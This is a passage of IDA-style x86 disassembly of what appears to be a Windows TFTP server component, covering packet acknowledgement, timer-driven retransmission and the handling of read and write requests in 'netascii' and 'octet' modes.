		cmp	edi, ebx
		jz	loc_1002B4C
		cmp	[esi+10028h], ebx
		jnz	short loc_1002AEA
		mov	eax, [esi+10000h]
		lea	ecx, [esi+10000h]
		shl	eax, 1
		mov	edx, 2710h
		mov	[ecx], eax
		cmp	eax, edx
		jbe	short loc_1002AEA
		mov	[ecx], edx


loc_1002AEA:				; CODE XREF: sub_1002A3D+90j
					; sub_1002A3D+A9j
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	edi
		push	dword_10060A0
		call	ds:RtlUpdateTimer	; RtlUpdateTimer
		cmp	eax, ebx
		jz	short loc_1002B4C
		call	ds:GetLastError
		jmp	short loc_1002B4C
; ---------------------------------------------------------------------------


loc_1002B0B:				; CODE XREF: sub_1002A3D+26j
		cmp	esi, ebx
		jz	short loc_1002B57
		push	offset aTimeout	; "Timeout"
		push	ebx		; hostshort
		push	dword ptr [esi+20h] ; s
		lea	eax, [esi+28h]
		push	ebx		; int
		push	eax		; to
		call	sub_100230A
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002B40
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_1002B40:				; CODE XREF: sub_1002A3D+F3j
		mov	[edi], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002B4C:				; CODE XREF: sub_1002A3D+84j
					; sub_1002A3D+C4j ...
		cmp	esi, ebx
		jz	short loc_1002B57
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1002B57:				; CODE XREF: sub_1002A3D+17j
					; sub_1002A3D+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002A3D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002B5E(LPCRITICAL_SECTION lpCriticalSection, int)

sub_1002B5E	proc near		; CODE XREF: sub_1002EC8+3Dp

var_4		= dword	ptr -4
lpCriticalSection= dword ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		mov	ebx, ds:ntohs
		push	ebp
		push	esi
		mov	esi, [esp+10h+lpCriticalSection]
		push	edi
		mov	edi, [esp+14h+arg_4]
		xor	ebp, ebp
		mov	eax, [esi+10018h]
		push	4		; netshort
		mov	[esp+18h+var_4], ebp
		mov	[edi+20h], eax
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002BA6
		mov	ax, [esi+10014h]
		push	eax		; netshort
		call	ebx ; ntohs
		cmp	[edi+36h], ax
		jnz	short loc_1002BA6
		and	dword ptr [esi+1000Ch],	0
		push	1
		pop	ebp
		jmp	short loc_1002BCE
; ---------------------------------------------------------------------------


loc_1002BA6:				; CODE XREF: sub_1002B5E+2Aj
					; sub_1002B5E+3Aj
		mov	ax, [edi+36h]
		push	eax		; netshort
		call	ebx ; ntohs
		mov	ax, [edi+34h]
		push	eax		; hostshort
		call	ds:htons	; htons
		push	4		; netshort
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002BCE
		mov	ax, [esi+10014h]
		dec	ax
		push	eax		; netshort
		call	ebx ; ntohs


loc_1002BCE:				; CODE XREF: sub_1002B5E+46j
					; sub_1002B5E+62j
		test	ebp, ebp
		jz	loc_1002C96
		cmp	dword ptr [esi+10030h],	0
		jz	short loc_1002C1C
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		test	eax, eax
		jz	short loc_1002BFE
		push	0
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_1002BFE:				; CODE XREF: sub_1002B5E+8Fj
		and	dword ptr [edi], 0
		mov	dword ptr [esi+10008h],	4


loc_1002C0B:				; CODE XREF: sub_1002B5E+DBj
					; sub_1002B5E+13Ej ...
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	eax, eax


loc_1002C14:				; CODE XREF: sub_1002B5E+183j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1002C1C:				; CODE XREF: sub_1002B5E+7Fj
		inc	word ptr [esi+10014h]
		push	edi
		push	esi
		call	sub_10027E1
		mov	ebp, eax
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_1002C3B
		mov	ax, [edi+0Eh]
		push	eax		; netshort
		call	ebx ; ntohs
		jmp	short loc_1002C0B
; ---------------------------------------------------------------------------


loc_1002C3B:				; CODE XREF: sub_1002B5E+D2j
		cmp	[esi+10028h], eax
		mov	[esi+1000Ch], eax
		mov	[esi+10008h], eax
		jnz	short loc_1002C59
		mov	dword ptr [esi+10000h],	3E8h


loc_1002C59:				; CODE XREF: sub_1002B5E+EFj
		mov	ecx, [esi+10004h]
		cmp	ecx, eax
		jz	short loc_1002C78
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	ecx
		push	dword_10060A0
		call	ds:RtlUpdateTimer	; RtlUpdateTimer


loc_1002C78:				; CODE XREF: sub_1002B5E+103j
		mov	eax, [esi+1001Ch]
		cmp	eax, [edi+20h]
		jnb	short loc_1002C9A
		mov	ax, [edi+0Eh]
		push	eax		; netshort
		call	ebx ; ntohs
		mov	dword ptr [esi+10030h],	1
		jmp	short loc_1002C9A
; ---------------------------------------------------------------------------


loc_1002C96:				; CODE XREF: sub_1002B5E+72j
		mov	ebp, [esp+14h+var_4]


loc_1002C9A:				; CODE XREF: sub_1002B5E+123j
					; sub_1002B5E+136j
		test	ebp, ebp
		jz	loc_1002C0B
		mov	ax, [edi+0Eh]
		push	eax		; netshort
		call	ebx ; ntohs
		add	edi, 0Ch
		push	10h		; tolen
		push	edi		; to
		push	0		; flags
		push	dword ptr [esi+10020h] ; len
		lea	eax, [esi+38h]
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002C0B
		call	ds:WSAGetLastError	; WSAGetLastError
		test	esi, esi
		jz	short loc_1002CDE
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1002CDE:				; CODE XREF: sub_1002B5E+177j
		push	1
		pop	eax
		jmp	loc_1002C14
sub_1002B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1002CE6(LPCRITICAL_SECTION lpCriticalSection, int)

sub_1002CE6	proc near		; CODE XREF: sub_1002EC8+34p

var_4		= dword	ptr -4
lpCriticalSection= dword ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, ds:ntohs
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		push	edi
		mov	edi, [ebp+arg_4]
		push	3		; netshort
		mov	eax, [esi+10018h]
		mov	[edi+20h], eax
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002D3A
		mov	ax, [esi+10014h]
		inc	ax
		push	eax		; netshort
		call	ebx ; ntohs
		cmp	[edi+36h], ax
		jnz	short loc_1002D3A
		inc	word ptr [esi+10014h]
		xor	ebx, ebx
		mov	[ebp+var_4], 1
		mov	[esi+10008h], ebx
		jmp	short loc_1002D9D
; ---------------------------------------------------------------------------


loc_1002D3A:				; CODE XREF: sub_1002CE6+28j
					; sub_1002CE6+3Aj
		push	3		; netshort
		call	ebx ; ntohs
		cmp	[edi+34h], ax
		jnz	short loc_1002D9B
		mov	ax, [esi+10014h]
		push	eax		; netshort
		call	ebx ; ntohs
		cmp	[edi+36h], ax
		jnz	short loc_1002D9B
		mov	ebx, ds:htons
		push	4		; hostshort
		call	ebx ; htons
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax		; hostshort
		call	ebx ; htons
		add	edi, 0Ch
		push	10h		; tolen
		mov	[esi+3Ah], ax
		push	edi		; to
		push	0		; flags
		lea	eax, [esi+38h]
		push	4		; len
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002EB3
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	loc_1002EB3
; ---------------------------------------------------------------------------


loc_1002D9B:				; CODE XREF: sub_1002CE6+5Cj
					; sub_1002CE6+6Cj
		xor	ebx, ebx


loc_1002D9D:				; CODE XREF: sub_1002CE6+52j
		cmp	[ebp+var_4], ebx
		jz	short loc_1002DE4
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [edi+2Ch]
		push	dword ptr [esi+10030h]
		sub	eax, 4
		push	eax
		lea	eax, [edi+38h]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	sub_100373A
		cmp	[ebp+var_4], ebx
		mov	[ebp+lpCriticalSection], eax
		jz	short loc_1002DE4
		cmp	eax, ebx
		jge	short loc_1002DF7
		push	ebx		; int
		push	3		; hostshort
		push	dword ptr [edi+8] ; s
		lea	eax, [edi+0FFF1h]
		add	edi, 0Ch
		push	eax		; int
		push	edi		; to
		call	sub_100230A


loc_1002DE4:				; CODE XREF: sub_1002CE6+BAj
					; sub_1002CE6+E2j
		cmp	esi, ebx
		jz	short loc_1002DEF
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1002DEF:				; CODE XREF: sub_1002CE6+100j
		push	1
		pop	eax
		jmp	loc_1002EBC
; ---------------------------------------------------------------------------


loc_1002DF7:				; CODE XREF: sub_1002CE6+E6j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		ja	loc_1002EB3
		mov	ebx, ds:htons
		push	4		; hostshort
		call	ebx ; htons
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax		; hostshort
		call	ebx ; htons
		mov	[esi+3Ah], ax
		lea	eax, [edi+0Ch]
		push	10h		; tolen
		xor	ebx, ebx
		push	eax		; to
		push	ebx		; flags
		lea	eax, [esi+38h]
		push	4		; len
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		mov	[ebp+lpCriticalSection], eax
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002E74
		cmp	[esi+10028h], ebx
		mov	[esi+1000Ch], ebx
		jnz	short loc_1002E5F
		mov	dword ptr [esi+10000h],	3E8h


loc_1002E5F:				; CODE XREF: sub_1002CE6+16Dj
		mov	ecx, [esi+10000h]
		push	ecx
		push	ecx
		push	eax
		push	dword_10060A0
		call	ds:RtlUpdateTimer	; RtlUpdateTimer


loc_1002E74:				; CODE XREF: sub_1002CE6+15Fj
		cmp	[ebp+lpCriticalSection], 0FFFFFFFFh
		jnz	short loc_1002E80
		call	ds:WSAGetLastError	; WSAGetLastError


loc_1002E80:				; CODE XREF: sub_1002CE6+192j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		jnb	short loc_1002EB3
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002EA3
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_1002EA3:				; CODE XREF: sub_1002CE6+1ADj
		mov	[esi+10004h], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002EB3:				; CODE XREF: sub_1002CE6+A4j
					; sub_1002CE6+B0j ...
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	eax, eax


loc_1002EBC:				; CODE XREF: sub_1002CE6+10Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC3	proc near		; CODE XREF: sub_1002EC8+22p
					; sub_1002EC8+2Bp
		xor	eax, eax
		retn	8
sub_1002EC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC8	proc near		; CODE XREF: sub_1001A91+254p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+8]
		call	sub_10028B5
		test	eax, eax
		jz	short loc_1002F0A
		mov	ecx, [eax+24h]
		dec	ecx
		jz	short loc_1002F03
		dec	ecx
		jz	short loc_1002EFA
		dec	ecx
		jz	short loc_1002EF1
		dec	ecx
		jnz	short loc_1002F0A
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EF1:				; CODE XREF: sub_1002EC8+1Bj
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EFA:				; CODE XREF: sub_1002EC8+18j
		push	esi		; int
		push	eax		; lpCriticalSection
		call	sub_1002CE6
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002F03:				; CODE XREF: sub_1002EC8+15j
		push	esi		; int
		push	eax		; lpCriticalSection
		call	sub_1002B5E


loc_1002F0A:				; CODE XREF: sub_1002EC8+Fj
					; sub_1002EC8+1Ej ...
		pop	esi
		retn	4
sub_1002EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002F0E	proc near		; CODE XREF: sub_1002F31+20p
					; sub_100333A+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		cmp	[esp+arg_4], eax
		jbe	short loc_1002F27


loc_1002F16:				; CODE XREF: sub_1002F0E+17j
		mov	ecx, [esp+arg_0]
		cmp	byte ptr [eax+ecx], 0
		jz	short loc_1002F2C
		inc	eax
		cmp	eax, [esp+arg_4]
		jb	short loc_1002F16


loc_1002F27:				; CODE XREF: sub_1002F0E+6j
		xor	eax, eax

locret_1002F29:				; CODE XREF: sub_1002F0E+21j
		retn	8
; ---------------------------------------------------------------------------


loc_1002F2C:				; CODE XREF: sub_1002F0E+10j
		push	1
		pop	eax
		jmp	short locret_1002F29
sub_1002F0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002F31	proc near		; CODE XREF: sub_1001A91+223p
					; DATA XREF: sub_1001A91+1FCo

name		= sockaddr ptr -28h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
to		= dword	ptr -8
Src		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	0FFBAh
		lea	ebx, [esi+36h]
		push	ebx
		mov	[ebp+var_18], ebx
		call	sub_1002F0E
		test	eax, eax
		jz	loc_100330F
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	10034h		; Size
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [ecx+ebx+1]
		mov	[ebp+Src], eax
		call	ds:malloc	; malloc
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003331
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		push	dword ptr [esi+10h] ; in
		call	ds:inet_ntoa	; inet_ntoa
		mov	[ebp+to], eax
		mov	ax, [esi+0Eh]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	edi, [ebp+Src]
		mov	[ebp+var_C], edi
		mov	al, [edi]
		test	al, al
		jz	short loc_1002FCD


loc_1002FB5:				; CODE XREF: sub_1002F31+97j
		movsx	eax, al
		push	eax		; C
		call	ds:tolower	; tolower
		mov	[edi], al
		mov	al, [edi+1]
		inc	edi
		pop	ecx
		test	al, al
		jnz	short loc_1002FB5
		mov	[ebp+var_C], edi


loc_1002FCD:				; CODE XREF: sub_1002F31+82j
		mov	edi, [ebp+Src]
		mov	eax, offset aNetascii ;	"netascii"


loc_1002FD5:				; CODE XREF: sub_1002F31+C0j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_1002FF7
		test	cl, cl
		jz	short loc_1002FF3
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_1002FF7
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1002FD5


loc_1002FF3:				; CODE XREF: sub_1002F31+AEj
		xor	eax, eax
		jmp	short loc_1002FFC
; ---------------------------------------------------------------------------


loc_1002FF7:				; CODE XREF: sub_1002F31+AAj
					; sub_1002F31+B8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_1002FFC:				; CODE XREF: sub_1002F31+C4j
		test	eax, eax
		jz	short loc_1003037
		mov	edi, [ebp+Src]
		mov	eax, offset aOctet ; "octet"


loc_1003008:				; CODE XREF: sub_1002F31+F3j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100302A
		test	cl, cl
		jz	short loc_1003026
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100302A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1003008


loc_1003026:				; CODE XREF: sub_1002F31+E1j
		xor	eax, eax
		jmp	short loc_100302F
; ---------------------------------------------------------------------------


loc_100302A:				; CODE XREF: sub_1002F31+DDj
					; sub_1002F31+EBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100302F:				; CODE XREF: sub_1002F31+F7j
		test	eax, eax
		jnz	loc_10032F6


loc_1003037:				; CODE XREF: sub_1002F31+CDj
		mov	edi, [ebp+var_18]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esi+1FFADh]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[ebp+Src], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_1003071
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10030CB
; ---------------------------------------------------------------------------


loc_1003071:				; CODE XREF: sub_1002F31+137j
		push	[ebp+to]
		push	offset Data
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003093
		push	[ebp+to]
		push	offset byte_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	short loc_10030A4


loc_1003093:				; CODE XREF: sub_1002F31+14Fj
		push	[ebp+Src]
		push	offset byte_1005D58
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_10030B0


loc_10030A4:				; CODE XREF: sub_1002F31+160j
		call	ds:_errno	; _errno
		push	0
		push	2
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030B0:				; CODE XREF: sub_1002F31+171j
		push	(offset	dword_1005E07+1) ; int
		push	0FFBCh		; int
		push	[ebp+Src]	; Src
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10030CF
		push	offset aFileNameTooLon ; "File name too	long"


loc_10030CB:				; CODE XREF: sub_1002F31+13Ej
		push	0
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030CF:				; CODE XREF: sub_1002F31+193j
		push	8000h
		push	[ebp+Src]
		call	ds:_open	; _open
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebx+1002Ch], eax
		jnz	short loc_1003116
		mov	esi, ds:_errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		call	esi ; _errno
		push	0
		push	1


loc_1003100:				; CODE XREF: sub_1002F31+17Dj
					; sub_1002F31+19Cj
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx
		push	eax
		jmp	loc_1003308
; ---------------------------------------------------------------------------


loc_1003116:				; CODE XREF: sub_1002F31+1B7j
		mov	edi, ds:_lseek
		push	2
		push	0
		push	eax
		call	edi ; _lseek
		mov	esi, [ebp+arg_0]
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1003140
		push	0
		push	0
		mov	[esi+24h], eax
		push	dword ptr [ebx+1002Ch]
		call	edi ; _lseek
		add	esp, 0Ch


loc_1003140:				; CODE XREF: sub_1002F31+1FBj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003159
		mov	edi, ds:_errno
		call	edi ; _errno
		call	edi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		jmp	short loc_1003197
; ---------------------------------------------------------------------------


loc_1003159:				; CODE XREF: sub_1002F31+212j
		push	0		; protocol
		push	2		; type
		push	2		; af
		call	ds:socket	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+Src], edi
		jz	short loc_1003191
		mov	eax, [esi+1Ch]
		and	word ptr [ebp+name.sa_data], 0
		mov	dword ptr [ebp+name.sa_data+2],	eax
		lea	eax, [ebp+name]
		push	10h		; namelen
		push	eax		; name
		push	edi		; s
		mov	[ebp+name.sa_family], 2
		call	ds:bind	; bind
		test	eax, eax
		jz	short loc_10031A3


loc_1003191:				; CODE XREF: sub_1002F31+23Cj
		call	ds:WSAGetLastError	; WSAGetLastError


loc_1003197:				; CODE XREF: sub_1002F31+226j
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		jmp	loc_10032FA
; ---------------------------------------------------------------------------


loc_10031A3:				; CODE XREF: sub_1002F31+25Ej
		push	ebx		; lpCriticalSection
		mov	[esi+8], edi
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+to], esi
		movsd
		movsd
		movsd
		movsd
		xor	edi, edi
		push	edi		; lpName
		push	edi		; bInitialState
		push	edi		; bManualReset
		push	edi		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, edi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10031E8
		push	2		; char
		push	eax		; hEventObject
		push	[ebp+Src]	; s
		call	sub_100188E
		cmp	eax, edi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_10031F3


loc_10031E8:				; CODE XREF: sub_1002F31+2A0j
		call	ds:GetLastError
		jmp	loc_1003312
; ---------------------------------------------------------------------------


loc_10031F3:				; CODE XREF: sub_1002F31+2B5j
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	1
		pop	esi
		push	[ebp+Src]
		mov	[ebp+var_14], esi
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_1003312
		lea	edi, [ebx+10028h]
		lea	eax, [ebx+38h]
		push	edi		; int
		push	eax		; int
		lea	eax, [ebx+10024h]
		mov	[ebp+var_10], esi
		push	eax		; int
		mov	eax, [ebp+var_C]
		push	esi		; int
		mov	esi, [ebp+arg_0]
		inc	eax
		push	eax		; Str1
		push	esi		; int
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003312
		cmp	[edi], eax
		jz	short loc_1003255
		mov	eax, [esi+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_100325F
; ---------------------------------------------------------------------------


loc_1003255:				; CODE XREF: sub_1002F31+311j
		mov	dword ptr [ebx+10000h],	3E8h


loc_100325F:				; CODE XREF: sub_1002F31+322j
		mov	eax, [ebx+10000h]
		push	0
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:RtlCreateTimer	; RtlCreateTimer
		push	1
		pop	edi
		mov	[ebx+24h], edi
		mov	eax, [esi+20h]
		push	esi
		push	ebx
		mov	[ebx+10018h], eax
		mov	[ebx+10014h], di
		call	sub_10027E1
		push	10h		; tolen
		xor	ecx, ecx
		push	[ebp+to]	; to
		cmp	eax, ecx
		mov	[ebx+1000Ch], ecx
		push	ecx		; flags
		push	dword ptr [ebx+10020h] ; len
		jz	short loc_10032D9
		lea	eax, [ebx+38h]
		push	eax		; buf
		push	[ebp+Src]	; s
		call	ds:sendto	; sendto
		mov	ecx, [ebx+1001Ch]
		cmp	ecx, [esi+20h]
		jnb	short loc_10032E9
		mov	[ebx+10030h], edi
		jmp	short loc_10032E9
; ---------------------------------------------------------------------------


loc_10032D9:				; CODE XREF: sub_1002F31+386j
		add	esi, 0FFF1h
		push	esi		; buf
		push	[ebp+Src]	; s
		call	ds:sendto	; sendto


loc_10032E9:				; CODE XREF: sub_1002F31+39Ej
					; sub_1002F31+3A6j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003312
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_10032F6:				; CODE XREF: sub_1002F31+100j
		push	0		; int
		push	4		; hostshort


loc_10032FA:				; CODE XREF: sub_1002F31+26Dj
		push	dword ptr [esi+8] ; s
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax		; int
		push	esi		; to


loc_1003308:				; CODE XREF: sub_1002F31+1E0j
		call	sub_100230A
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_100330F:				; CODE XREF: sub_1002F31+27j
		mov	ebx, [ebp+arg_0]


loc_1003312:				; CODE XREF: sub_1002F31+2BDj
					; sub_1002F31+2DDj ...
		test	ebx, ebx
		jz	short loc_1003331
		cmp	[ebp+var_10], 0
		jz	short loc_1003323
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1003323:				; CODE XREF: sub_1002F31+3E9j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003331
		push	ebx		; Memory
		call	ds:free	; free
		pop	ecx


loc_1003331:				; CODE XREF: sub_1002F31+50j
					; sub_1002F31+3E3j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_1002F31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100333A	proc near		; DATA XREF: sub_1001A91+20Fo

name		= sockaddr ptr -28h
to		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
s		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	ebx
		push	esi
		push	edi
		push	10034h		; Size
		call	ds:malloc	; malloc
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003731
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		push	0FFBAh
		rep stosd
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+36h]
		push	esi
		mov	[ebp+s], esi
		call	sub_1002F0E
		test	eax, eax
		jz	loc_1003712
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebp+arg_0]
		not	ecx
		push	dword ptr [edi+10h] ; in
		dec	ecx
		lea	esi, [ecx+esi+1]
		call	ds:inet_ntoa	; inet_ntoa
		mov	[ebp+to], eax
		mov	ax, [edi+0Eh]
		push	eax		; hostshort
		call	ds:htons	; htons
		cmp	byte ptr [esi],	0
		mov	edi, esi
		mov	[ebp+var_C], edi
		jz	short loc_10033E1


loc_10033BC:				; CODE XREF: sub_100333A+A2j
		movsx	eax, byte ptr [edi]
		push	eax		; C
		call	ds:isupper	; isupper
		test	eax, eax
		movsx	eax, byte ptr [edi]
		pop	ecx
		jz	short loc_10033D6
		push	eax		; C
		call	ds:tolower	; tolower
		pop	ecx


loc_10033D6:				; CODE XREF: sub_100333A+92j
		mov	[edi], al
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_10033BC
		mov	[ebp+var_C], edi


loc_10033E1:				; CODE XREF: sub_100333A+80j
		mov	eax, offset aNetascii ;	"netascii"
		mov	edi, esi


loc_10033E8:				; CODE XREF: sub_100333A+CAj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100340A
		test	cl, cl
		jz	short loc_1003406
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100340A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_10033E8


loc_1003406:				; CODE XREF: sub_100333A+B8j
		xor	eax, eax
		jmp	short loc_100340F
; ---------------------------------------------------------------------------


loc_100340A:				; CODE XREF: sub_100333A+B4j
					; sub_100333A+C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100340F:				; CODE XREF: sub_100333A+CEj
		test	eax, eax
		jnz	short loc_100341F
		mov	dword ptr [ebx+10030h],	4000h
		jmp	short loc_100345D
; ---------------------------------------------------------------------------


loc_100341F:				; CODE XREF: sub_100333A+D7j
		mov	edi, offset aOctet ; "octet"


loc_1003424:				; CODE XREF: sub_100333A+106j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_1003446
		test	al, al
		jz	short loc_1003442
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_1003446
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_1003424


loc_1003442:				; CODE XREF: sub_100333A+F4j
		xor	eax, eax
		jmp	short loc_100344B
; ---------------------------------------------------------------------------


loc_1003446:				; CODE XREF: sub_100333A+F0j
					; sub_100333A+FEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100344B:				; CODE XREF: sub_100333A+10Aj
		test	eax, eax
		jnz	loc_10036F8
		mov	dword ptr [ebx+10030h],	8000h


loc_100345D:				; CODE XREF: sub_100333A+E3j
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+s]
		or	ecx, 0FFFFFFFFh
		lea	edx, [eax+1FFADh]
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
